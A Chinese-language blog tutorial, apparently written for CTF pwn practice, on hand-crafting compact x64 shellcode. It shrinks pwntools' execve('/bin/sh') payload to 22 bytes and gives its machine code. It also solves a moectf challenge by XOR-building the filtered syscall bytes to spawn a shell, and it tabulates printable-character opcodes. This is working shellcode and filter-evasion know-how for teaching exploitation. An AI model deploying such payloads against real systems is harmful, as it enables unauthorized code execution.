← 所有文章

Shellcode编写入门

Shellcode编写入门

为什么要手写shellcode?

现在的题目对shellcode做了越来越多的限制,比如限制长度,限制特定字符等等。所以一些通用性的shellcode已经很难再起作用,针对某个二进制文件编写特异化shellcode势在必行。

开始之前

当然也不可否认shellcode生成工具的便捷性。适当利用也可以辅助我们来编写适合的shellcode。 常用的当然是pwntools模块下的shellcraft,比如shellcraft.sh()来生成execve('/bin/sh',0,0)的汇编代码,还有shellcraft.open('flag',0), shellcode.cat('flag')等等,可以非常方便的生成指定架构下的汇编,但是pwntools会考虑很多情况(毕竟要考虑通用性的),所以肯定会比较长,实际上是有很大改进空间的。本篇的目的不是让读者从0开始写shellcode(写的多了也差不多可以直接搓了),只要能改进生成工具生成的shellcode以符合条件就可以了。

从简化工具生成的shellcode开始

本篇以execve('/bin/sh',0,0)为例

假定我们的架构是x64的 先用pwntools生成一段来看看

>>> shellcraft.sh()
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall

发现前面push 0x68, 和mov rax,0x732f2f2f6e69622f ,push rax 是把/bin///sh\x00push到栈上,但是如果没有对/bin/sh字符串做检测的话可以直接传/bin/sh\x00, 或者/bin//sh,所以可以简化为:

mov rax, 0x68732f6e69622f

mov rdi, rsp是把指向/bin/sh字符串的指针传给rdi寄存器,(因为execve的第一个参数实际上需要的是字符串的地址),由于刚刚把/bin/sh字符串push到栈上(此时在栈顶,也就说rsp此时指向/bin/sh),所以可以通过mov rdi,rsp把/bin/sh地址传给rdi寄存器。

这里非要改的话可以改成:

push rsp
pop rdi

这样子编译后只有2个字节,原来的用mov传参有3个字节,改写的操作就是把rsp的值push到栈上,在pop到rdi,也能起到传参的效果

push 0x1010101 ^ 0x6873 xor dword ptr [rsp], 0x1010101

这两步应该是为了绕过潜在的sh字串检测,所以先传一个异或后的值,后面再异或回sh,

如果没有检测的话是可以直接push 0x6873 (其实感觉这一大段都没什么用)

后面的xor esi, esi是把rsi置零,使用esi,而不用rsi,是因为用esi编译的字节会少

然后push 8, pop rsi,就是相当于mov rsi, 8, 用push pop编译出来的更小

但是直接push一个值到栈上要注意:

push 只能push一个32位数,超过32位不能编译(起码用pwntools的asm是这样子)

push 超过一个字节的数,会自动补全成32位,比如push 0x6873,就会编译为 hsh\x00\x00

但是如果只是push一个字节,就会编译为2个字节,比如push 0x8,机器码为 j\x08

后面这段没搞清楚目的是什么,如果只是为了把rsi和rdx置0的话,只需要2行xor就可以了

最后要给一个系统调用号给rax(x64架构execve调用号是0x3b)

最后syscall,完成调用!

很好,你已经学会怎么搓shellcode了

完整的汇编码:

mov rax, 0x68732f6e69622f	/* /bin/sh\x00 */
push rax
push rsp
pop rdi			/* rdi -> /bin/sh */
xor esi, esi	/* rsi = 0 */
xor edx, edx	/* rdx = 0 */
push 0x3b
pop rax
syscall

编译成机器码看一看

>>> asm('''
mov rax, 0x68732f6e69622f	/* /bin/sh\x00 */
push rax
push rsp
pop rdi			/* rdi -> /bin/sh */
xor esi, esi	/* rsi = 0 */
xor edx, edx	/* rdx = 0 */
push 0x3b
pop rax
syscall''')
b'H\xb8/bin/s\x00\x00PT_1\xf61\xd2j;X\x0f\x05'

只有0x16(22)个字节!!!

再看看原来的shellcode的机器码

>>> len(b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05')
48

我们缩减了一半多的shellcode代码,并且执行相同的功能,这就是手搓汇编带来的()

OK,你已经学会手搓了,现在来实战吧

moectf changeable_shellcode

附件: changeable_shellcode

简单来说就是过滤了 \x0f\x05 然后shellcode长度不超过 0x28

一种思路是直接在后面通过异或之类的方法把syscall写在后面

可以先栈迁移到rwx段,当然为了避免对栈操作影响到原来写的shellcode,所以我这里就 add了 0x40

push rdx
pop rsp
add rsp, 0x40

然后就是正常构造 execve("/bin/sh", 0, 0) 即可

mov rax, 0x68732f6e69622f
push rax	# 把 /bin/sh\0 push到栈顶
push rsp	# 把 binsh字符串地址push到栈顶
pop rdi
xor esi, esi
xor edx, edx
xor eax, 0x6e696720 # 异或构造 \x0f\x05
push rax
push 0x3b
pop rax
push rsp	# 此时rsp指向 \x0f\x05 (syscall)
ret			# 把syscall地址push到栈顶就可以跳转过去getshell了

这个shellcode就只需要 0x22 bytes完全够用

一些特殊的要求的shellcode

可见字符限制

有时候会遇到shellcode只能使用可见字符的限制

  • 大部分寄存器的push pop都是可见的,而且除了r15,r14这类的,基本都是1一个字节,这对于某些限制长度的情况下特别好用
  • 部分xor,sub, and等操作

我这里简单列了个表(

reg 表示寄存器,后面的数字是位数,比如 reg8, 就是8位(也就是1字节)的寄存器,比如 al,ah寄存器,reg16如 ax,di寄存器

reginclude
reg8al, ah, bl, bh, cl, ch, dl, dh, spl, bpl, sil, dil, r8b, r9b, r10b, r11b, r12b, r13b, r14b, r15b
reg16ax, bx, cx, dx, sp, bp, si, di, r8w, r9w, r10w, r11w, r12w, r13w, r14w, r15w
reg32eax, ebx, ecx, edx, esp, ebp, esi, edi, r8d, r9d, r10d, r11d, r12d, r13d, r14d, r15d
reg64rax, rbx, rcx, rdx, rsp, rbp, rsi, rdi, r8, r9, r10, r11, r12, r13, r14, r15

im 表示立即数,后面的数字也是代表位数, 比如 0x4141 就是 im16 (2字节立即数)

mem 表示内存地址,后面的数字表示取从该地址开始的多少位,比如 mem8 表示取该地址开始的1字节,会与 [] 配合使用

[xxx] 表示解引用,这和正常的intel asm语法差不多,比如 xor ax, [rbx]

上面的例子中, [rbx] 就是一个 [mem16], 是因为前面ax是16位所以能推导出 [rbx] 需要取2字节,当然也可以显示的通过 qword, dword, word, byte来指定取8/4/2/1 字节

push & pop

汇编机器码汇编机器码
pop raxXpush raxP
pop rcxYpush rcxQ
pop rdxZpush rdxR
pop rbx[push rbxS
pop rsp\push rspT
pop rbp]push rbpU
pop rsi^push rsiV
pop rdi_push rdiW
pop r8AXpush r8AP
pop r9AYpush r9AQ
pop r10AZpush r10AR
pop r11A[push r11AS
pop r12A\push r12AT
pop r13A]push r13AU
pop r14A^push r14AV
pop r15A_push r15AW

xor & add

  • xor reg8, im8 , xor reg16, im16 , xor reg32/reg64, im32 (试了一下好像只有 rax 系列的才行?)
  • xor reg8/reg16/reg32/reg64, [mem8/mem16/mem32/mem64] (如果要类似 rax + xxxx这样子的地址最好还是加1字节偏移吧,超过一个字节(如:[rax + 0x40404040] 就很难全是可见字符了)
  • sub reg8, im8

example:

汇编机器猫汇编机器猫
xor rax, 0x41424344H5DCBAxor eax, 0x414243445DCBA
xor ax, 0x4141f5AAxor ax, 0x6161f5aa
xor al, 0x414Axor al, 0x614a
xor al, byte [rbx + 0x40]2CAxor bx, [rcx + 0x41]f3YA
xor edi, [rax + 0x40]3x@xor rbx, [rbp + 0x40]H3]@
sub rax, 0x41424344H-DCBAsub eax, 0x41424344-DCBA

todo

· · ·

感谢阅读。愿这份记录也能帮到你。

继续探索其他文章 ↗